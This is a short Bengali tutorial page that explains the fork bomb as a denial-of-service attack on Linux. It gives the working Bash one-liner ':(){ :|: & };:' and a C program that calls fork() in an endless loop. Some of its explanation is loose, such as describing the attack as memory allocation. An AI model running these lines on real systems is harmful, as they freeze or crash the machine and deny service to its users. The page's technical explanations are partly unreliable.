কম্পিউটার টিউটোরিয়াল

সি বনাম BASH ফর্ক বম্ব


ফর্ক() বম্ব হল লিনাক্স-ভিত্তিক সিস্টেমের বিরুদ্ধে একটি Dos (Denial Of Service) আক্রমণ। এটি ফর্ক() সিস্টেম কল অসীম বার করে মেমরি পূর্ণ করে সিস্টেমকে ক্ষতি পৌঁছায়।

BASH স্ক্রিপ্ট ফর্ক বম্ব:
:(){ :|: & };:

এখানে :() ফাংশন ডেফিনিশন, {} লুপের বডি। :|:& মেমরি লোকেশন তৈরি করে ডি-অ্যালোকেট হওয়া দেয় না। এটি নিজেকে বারবার কল করে অসীম কল তৈরি করে।

C ফর্ক বম্বও একই ধরনের Dos আক্রমণ যা C কম্পাইলারে চলে। এটি অসীম মেমরি অ্যালোকেশন কল করে সিস্টেমের মেমরি শেষ করে দেয়।

উদাহরণ

#include <unistd.h> #include <malloc.h> int main() {    while (1) {       fork();    } }

আউটপুট

Infinite calls

  1. C/C++-তে system() ফাংশন: কম্যান্ড এক্সিকিউশন

  2. ২০ টি সুপার-হেল্পফুল Bash কমান্ড

  3. ব্যাশ ব্যবহার করে আপনার লিনাক্স সিস্টেম কনফিগারেশন সহজে ক্যাপচার ও শেয়ার করুন

  4. Windows Error 43 সমাধান: হার্ডওয়্যার ও ড্রাইভার ফিক্সের নির্ভরযোগ্য গাইড